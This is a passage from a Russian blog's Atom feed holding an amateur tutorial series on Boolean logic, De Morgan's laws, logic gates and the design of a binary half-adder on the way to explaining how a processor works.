alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/9008199687191787577/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/v.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/9008199687191787577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/9008199687191787577'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/v.html' title='От формул к процессору - V'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMsSHDPpUI/AAAAAAAAAFM/F_defyCW_0o/s72-c/12.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8902869233729444525</id><published>2009-05-07T22:31:00.002+04:00</published><updated>2009-05-07T22:39:35.815+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Логика'/><title type='text'>От формул к процессору - IV</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;От формул к процессору - IV&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Приступим, в предыдущей статье мы рассмотрели основные логические элементы, теперь разберемся с логическими схемами, попробуем построить схему для логического выражения &lt;br /&gt;&lt;span style="color:#000099;"&gt;B∙неА+неB∙A=C&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgMpr4litBI/AAAAAAAAAEk/94H5V3_Np3M/s1600-h/13.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 128px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgMpr4litBI/AAAAAAAAAEk/94H5V3_Np3M/s320/13.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333152217637762066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Надеюсь, принцип вы поняли. Теперь рассмотрим физическую реализацию логических элементов,&lt;br /&gt;Начнем с элемента “не”.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SgMp_xVjWwI/AAAAAAAAAEs/N8La6nKDLkQ/s1600-h/14.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SgMp_xVjWwI/AAAAAAAAAEs/N8La6nKDLkQ/s320/14.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333152559289031426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Как видим на рисунке если подаем 0, то ничего не происходит…. Если 1, то канал закрывается и газ не проходит(может быть и жидкость). Надеюсь понятно.&lt;br /&gt;Логическое сложение:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgMqRsQPGDI/AAAAAAAAAE0/sgEqOhx-6tA/s1600-h/15.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SgMqRsQPGDI/AAAAAAAAAE0/sgEqOhx-6tA/s320/15.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333152867162200114" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Как видим из рисунка, у нас получается:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С&lt;br /&gt;1__________1________0&lt;br /&gt;1__________0________0&lt;br /&gt;0__________1________0&lt;br /&gt;0__________0________1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;А, надо:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С&lt;br /&gt;1__________1________1&lt;br /&gt;1__________0________1&lt;br /&gt;0__________1________1&lt;br /&gt;0__________0________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Что ж - это не проблема, нам всего лишь нужно инвертировать полученный результат&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С________неС&lt;br /&gt;1__________1________0________1&lt;br /&gt;1__________0________0________1&lt;br /&gt;0__________1________0________1&lt;br /&gt;0__________0________1________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;А при физической реализации, добавить в схему инвертор.&lt;br /&gt;Логическое умножение:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMqgm4lmsI/AAAAAAAAAE8/o0wVx4DhaEQ/s1600-h/16.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMqgm4lmsI/AAAAAAAAAE8/o0wVx4DhaEQ/s320/16.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333153123418872514" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;И тут тоже придется добавить инвертор.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С________неС&lt;br /&gt;1__________1________0________1&lt;br /&gt;1__________0________1________0&lt;br /&gt;0__________1________1________0&lt;br /&gt;0__________0________1________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Что ж вот основной принцип… &lt;br /&gt;&lt;br /&gt;А теперь займемся непосредственно формулами и логическими схемами, сегодня нам предстоит не много не мало, а придумать схему так называемого «полусумматора двоичных чисел», ведь мы знаем, что достаточно научить схему одному арифметическому действию – сложению, и получим какой ни какой, а процессор!&lt;br /&gt;&lt;br /&gt;Так, за помощь обратимся к двоичной системе счисления, попробуем сложить в двоичной системе, числа, имеется в виду не логическое сложение, а арифметическое.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;1+1=10&lt;br /&gt;1+0=1&lt;br /&gt;0+1=1&lt;br /&gt;0+0=0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Можете проверить с помощью калькулятора Windows.&lt;br /&gt;Что бы вам легче было понять, составим таблицу:&lt;br /&gt;&lt;br /&gt;(Арифметическое сложение, а не логическое, обратите внимание на знак «=», p s идут как одно число, это для того, что бы было видно разрядность числа )&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A ____+____B ____=___P________S&lt;br /&gt;1__________1________1________0&lt;br /&gt;1__________0________0________1&lt;br /&gt;0__________1________0________1&lt;br /&gt;0__________0________0________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A и В, числа которые складываем (в двоичной системе счисления), S – результат сложения (сумма), P – перенос из разряда, это нужно для случая 1+1=10, так как здесь, получается 10 (правильно говорить не десять, а один и ноль), то 1 пойдет в перенос (P) , а 0 в сумму (s), таким образом значение суммы(s) 0,1,1,0, значит мы должны найти такую формулу, при которой&lt;br /&gt;&lt;br /&gt;(Арифметическое сложение, а не логическое)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A ____+____B _____=_____S&lt;br /&gt;1__________1___________0&lt;br /&gt;1__________0___________1&lt;br /&gt;0__________1___________1&lt;br /&gt;0__________0___________0&lt;/span&gt;&lt;br /&gt;В одной из статей я показывал, как это делается – простым подбором. Вот искомая формула:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;S=(A+B)*не(A*B)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Можете её проверить, вы это уже умеете.&lt;br /&gt;&lt;br /&gt;Для переноса (P)&lt;br /&gt;&lt;br /&gt;(Арифметическое сложение, а не логическое)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A ____+____B _____=_____P&lt;br /&gt;1__________1___________1&lt;br /&gt;1__________0___________0&lt;br /&gt;0__________1___________0&lt;br /&gt;0__________0___________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Тут и думать нечего, P=A*B, начертим логическую схему полусумматора двоичных чисел:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMqzDzPu6I/AAAAAAAAAFE/7HY64AaZGik/s1600-h/17.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 205px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SgMqzDzPu6I/AAAAAAAAAFE/7HY64AaZGik/s320/17.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333153440418741154" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Надеюсь, вы все поняли, в следующих статьях мы разберем, как данные логические схемы реализовывать радиотехнически, и тп.&lt;br /&gt;Если же здесь есть механик, то он может взять сварочный аппарат и сделать механический полусумматор двоичных чисел))&lt;br /&gt;&lt;br /&gt;Желаю удачи!&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(c)Kerny&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8902869233729444525?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8902869233729444525/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/iv.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8902869233729444525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8902869233729444525'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/iv.html' title='От формул к процессору - IV'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/SgMpr4litBI/AAAAAAAAAEk/94H5V3_Np3M/s72-c/13.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3990954603549686781</id><published>2009-05-07T22:21:00.008+04:00</published><updated>2009-05-07T22:30:24.429+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Логика'/><title type='text'>От формул к процессору - III</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;От формул к процессору - III&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Итак, третья статья из цикла!&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Приступим!&lt;br /&gt;Помните, я вам говорил, что всего логических операции три, и что через них выражаются все остальные, так вот сегодня мы рассмотрим это.&lt;br /&gt;Значит, начнем с эквиваленции&lt;br /&gt;Как мы помним, она выглядит так&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С&lt;br /&gt;1__________1________1&lt;br /&gt;1__________0________0&lt;br /&gt;0__________1________0&lt;br /&gt;0__________0________1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Получается, что мы должны найти выражение, состоящее из простых логических операций (инверсия, конъюнкция, дизъюнкция), которое бы в результате давало см. таблицу. Ну что ж попробуем подобрать нужную нам формулу….&lt;br /&gt;Будем брать тока первую строку из нашей таблицы:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С&lt;br /&gt;1__________1________1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Тоесть при значениях А=1, B=1, нужно получить значение С=1. В чем проблема? - спросите вы. Это же обычная конъюнкция 1*1=1, Да это конъюнкция, но она нам не подходит – не забываем, что мы должны решить задачу в общем виде – заменим выражение 1*1=1 формулой А*В=С, и попробуем, подставить другие значения например 0*0=0, и видим, что это не подходит т.к при эквиваленции 0*0=1, а теперь не большой секрет – то, что я только что вам втирал можно было опровергнуть иначе, просто подумав – это же одна логическая операция – конъюнкция, а конъюнкция не может быть равна эквиваленции, отсюда вывод в нашей формуле должно быть больше одной логической операции, и еще если вы хорошо усвоили предыдущий материал, то должны знать, что 1*1*1=1, тоже не подойдет, т. к после преобразования получиться 1*1=1, отсюда еще один вывод, наша формула не должна преобразовываться, найдем нашу формулу:&lt;br /&gt;Пробуем разные комбинации, ниже подставляем вместо букв значения и сравниваем их с таблицей эквиваленции …&lt;br /&gt;________________&lt;br /&gt;&lt;span style="color:#000099;"&gt;A*B+B=C&lt;br /&gt;1*1+1=1&lt;br /&gt;1*0+0=0&lt;br /&gt;0*1+1=1&lt;/span&gt;&lt;br /&gt;Уже не подходит.&lt;br /&gt;____________________&lt;br /&gt;&lt;span style="color:#000099;"&gt;A*B+А*B=C&lt;br /&gt;1*1+1*1=1&lt;br /&gt;1*0+1*0=0&lt;br /&gt;0*0+0*0=0&lt;/span&gt;&lt;br /&gt;не подходит&lt;br /&gt;____________________&lt;br /&gt;&lt;span style="color:#000099;"&gt;A*B+неА*неB=C&lt;br /&gt;1*1+не1*не1=1&lt;br /&gt;1*0+не1*не0=0&lt;br /&gt;0*1+не0*не1=0&lt;br /&gt;0*0+не0*не0=1&lt;/span&gt;&lt;br /&gt;____________________&lt;br /&gt;Ура! Нашли нужную нам формулу!&lt;br /&gt;Итак, мы выяснили, что эквиваленцию можно выразить следующей формулой :&lt;br /&gt;A*B+неА*неB=C&lt;br /&gt;Импликацию мы не будем выражать, я показал вам лишь ход мыслей….&lt;br /&gt;Формула импликации: неА+В&lt;br /&gt;&lt;span style="color:#000099;"&gt;A _________B ________С&lt;br /&gt;1__________1________1&lt;br /&gt;1__________0________0&lt;br /&gt;0__________1________1&lt;br /&gt;0__________0________1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;А теперь, рассмотрим, как это все изображается – схемами. Люди знакомые с программированием знают, что алгоритм программы можно изображать в виде блок схем, так вот здесь это тоже имеет место быть…. И это называется это логическими схемами.&lt;br /&gt;Так как, основных логических операций всего три, то и логических элементов будет три…&lt;br /&gt;Смотрите рисунок:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SgMobmqI31I/AAAAAAAAAEc/duy_6o4z9o0/s1600-h/12.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 138px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SgMobmqI31I/AAAAAAAAAEc/duy_6o4z9o0/s200/12.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5333150838435667794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Итак, вы видите коньюнктор, у него всегда два входа и один выход, на вход подаются А и В (для отличия его от дизъюнктора добавляется символ &amp;amp; см. рисунок), в результате на выходе будет А*В, например:&lt;br /&gt;Подаются значения 1 и 0, в результате будет 0. &lt;br /&gt;Ниже дизъюнктор , у него всегда два входа и один выход, на вход подаются А и В (для отличия его от коньюнктора добавляется символ 1 см. рисунок), в результате на выходе будет А+В, например:&lt;br /&gt;Подаются значения 1 и 0, в результате будет 1. &lt;br /&gt;И последний элемент инвертор, у него один вход и один выход, если на вход подать 1 то результатом будет 0 и наоборот.&lt;br /&gt;Это так сказать промежуточная статья – так, что не ругайте…. Скоро будет еще интереснее.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(с)Kerny&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3990954603549686781?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3990954603549686781/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/iii.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3990954603549686781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3990954603549686781'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/iii.html' title='От формул к процессору - III'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/SgMobmqI31I/AAAAAAAAAEc/duy_6o4z9o0/s72-c/12.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-2839609007751774413</id><published>2009-05-07T22:12:00.004+04:00</published><updated>2009-05-07T22:21:03.833+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Логика'/><title type='text'>От формул к процессору - II</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;От формул к процессору - II&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Надеюсь вы хорошо усвоили материал прошлой статьи! сегодня мы изучим правила преобразования логических выражений….&lt;br /&gt;&lt;/p&gt;Так для начала условимся – Логическое произведение (КОНЬЮНКЦИЯ) – записываем так A*B (логическое произведение А на В) или можно еще записывать так А&amp;amp;B.&lt;br /&gt;Логическое сложение (ДИЗЪЮНКЦИЯ) – записываем так А+В , можно еще записать по другому на клавиатура мне не позволяет….&lt;br /&gt;Логическое отрицание (ИНВЕРСИЯ) – записывать будем, как неА.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Закон непротиворечия&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Закон непротиворечия, означает следующее A не может быть равно своему отрицанию, &lt;br /&gt;неA *A=0 &lt;br /&gt;Например есть выражение A *неA+B, догадайтесь чему оно будет равно? Правильно A *неA+B=B.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Закон исключения третьего&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Высказывание может быть либо истинным либо ложным, третьего не дано. Это означает, что результат логического сложения высказывания и его отрицания принимает значение истинна.&lt;br /&gt;А+неА=1&lt;br /&gt;Да и незабываем , 1 - это истинна, 0 – это ложь. Что бы, было легче можно представлять , так «+», это «или», «*» - это «и», а инверсия – тут и так понятно….&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Закон двойного отрицания&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Если выражение дважды отрицается, то в результате мы получим исходное высказывание. Например:&lt;br /&gt;ненеА=А&lt;br /&gt;Так же, как в Алгебре минус на минус - дает плюс.&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Закон тождества&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;Всякое высказывание тождественно самому себе. Например А=А.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Законы Моргана&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Первый закон Де Моргана.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;не(А + В)= неА* неВ&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;Отрицание выражения (А или В) равно неА и неБ, давайте проверим!? Для этого построим так называемую таблицу истинности:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;А______В_____неА____неВ__(А+В)__Не(А+В)___неА* неВ&lt;br /&gt;0______0______1______1_____0______1_________1&lt;br /&gt;0______1______1______0_____1______0_________0&lt;br /&gt;1______0______0______1_____1______0_________0&lt;br /&gt;1______1______0______0_____1______0_________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Сначала, даем начальные значения А и Б, затем их инвертируем, после подвергаем значения А и В дизъюнкции (операция «или»), затем то, что получилось инвертируем и получаем – одну единицу и три нуля… Теперь берем значения неА и неВ и подвергаем коньюнкции(логическое умножение) и в результате получаем , единицу и три ноля… тоесть не(А + В)= неА* неВ, формула верна&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Второй закон Де Моргана.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;не(А*В)= неА + неВ&lt;br /&gt;&lt;br /&gt;А______В______неА___неВ__(А*В)___Не(А*В) ______неА+ неВ&lt;br /&gt;0______0______ 1_____1______0______1_____________1&lt;br /&gt;0______1______ 1_____0______0______1_____________1&lt;br /&gt;1______0______ 0_____1______0______1_____________1&lt;br /&gt;1______1______ 0_____0______1______0_____________0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Тоже самое здесь - формула верна. Мы сейчас строили таблицы истинности – вообще-то это проходится по информатике….&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;А теперь пару примеров:&lt;br /&gt;&lt;/p&gt;&lt;span style="color:#000099;"&gt;Не(А+В)*(А*неВ)&lt;/span&gt;&lt;br /&gt;&lt;p&gt;Начнем, видим в первой части выражения не(А+В) – первый закон Де Моргана – преобразовываем:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;НеА*неВ*(А*неВ), раскроем скобки &lt;br /&gt;НеА*неВ*А*неВ, видим неА и А, - закон непротиворечия .&lt;br /&gt;Остается&lt;br /&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;НеВ*неВ&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;Смотрим НеВ*неВ, ага это равно просто неВ, спросите почему? Допустим есть некое третье значение например, значение С.&lt;br /&gt;&lt;p&gt;С*неВ*неВ=С*неВ, допустим С=0&lt;br /&gt;&lt;/p&gt;&lt;p&gt;А неВ равно 1, тогда&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;0*1*1=0,&lt;/span&gt; а это тоже самое что и 0*1.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;Вот и получается, что неВ*неВ, равно просто неВ. Так вернёмся к примеру:&lt;br /&gt;&lt;p&gt;Получаем,&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;0*неВ=0, тут можно пойти двумя путями, первый я назвал его алгебраический – умножение на ноль всегда дает ноль, или второй логический:&lt;br /&gt;У нас операция конъюнкция(вспоминаем союз «и») а эта операция так сказать истинна только в одном случае, когда оба значения истинны, тоесть 1*1=1, смотрим на первый множитель нашего выражения он уже равен нолю… Значит чему бы небыло равно, значение неВ, хоть 1 хоть 0, всегда будет ложь(ноль). В принципе остальные примеры решаются также. &lt;br /&gt;Наверное, сейчас вы задаетесь мыслями, а зачем это? Хотел написать ответ в этой статье, но передумал, скажу лишь, что узнаете в последующих статьях. Это только начало!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(c)Kerny&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-2839609007751774413?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/2839609007751774413/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/ii.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2839609007751774413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2839609007751774413'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/ii.html' title='От формул к процессору - II'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3549172533044740501</id><published>2009-05-07T22:02:00.006+04:00</published><updated>2009-05-07T22:12:01.472+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Логика'/><title type='text'>От формул к процессору - I</title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;От формул к процессору - I&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Этим уроком я открываю цикл статей посвященных – логике, и самое главное логическим основам работы процессора. Вы поймете, как работает процессор на физическом и логическом уровнях.&lt;br /&gt;&lt;/p&gt;Но для начала нам нужно изучить формальную логику и начнем с основных логических операций:&lt;br /&gt;Всего может быть два возможных состояния – Сильный сигнал и Слабый, Истинна и Ложь, 1 и 0.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Первая логическая операция.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Логическое отрицание - ИНВЕРСИЯ - если исходное выражение истинно, то результат отрицания будет ложным, и наоборот, если исходное выражение ложно, то результат отрицания будет истинным. Например:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A ____неА&lt;br /&gt;1_____ 0&lt;br /&gt;0_____1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;С = A &amp;amp; B&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Вторая логическая операция.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Логическое умножение - КОНЪЮНКЦИЯ - это выражение будет истинно в одном случае, когда оба значения верны. Например, высказывание “Дождь будет утром и вечером”, верно только в одном случае если дождь будет и утром и вечером, а ложно, если дождь будет вечером, а утром не будет и наоборот.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A &amp;amp; B = С&lt;br /&gt;1__1= 1&lt;br /&gt;1__0= 0&lt;br /&gt;0__1= 0&lt;br /&gt;0__0= 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;То есть Истинна и Истинна = Истинна&lt;br /&gt;Истинна и Ложь = Ложь&lt;br /&gt;Ложь и Истинна =Ложь&lt;br /&gt;Ложь и Ложь = Ложь&lt;br /&gt;&lt;br /&gt;Как и говорил, наше выражение будет истинным только в одном случае.&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;&lt;br /&gt;Третья логическая операция.&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;С = A + B &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Логическое сложение – ДИЗЪЮНКЦИЯ - это выражение будет истинно во всех случаях, кроме одного, когда оба значения ложны. Например, высказывание Дождь будет утром или вечером, означает следующее – Дождь будет только вечером, - Дождь будет только утром, - Дождь будет и утром и вечером. Но из-за характерных особенностей русского языка многие считают, что это высказывание означает, Дождь будет только вечером, либо Дождь будет только утром, а третьего в расчет не берут.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A + B = С&lt;br /&gt;1__1= 1&lt;br /&gt;1__0= 1&lt;br /&gt;0__1= 1&lt;br /&gt;0__0= 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;То есть Истинна или Истинна = Истинна&lt;br /&gt;Истинна или Ложь = Истинна&lt;br /&gt;Ложь или Истинна = Истинна&lt;br /&gt;Ложь или Ложь = Ложь&lt;br /&gt;&lt;br /&gt;Как и говорил, наше выражение будет ложно только в одном случае.&lt;br /&gt;&lt;br 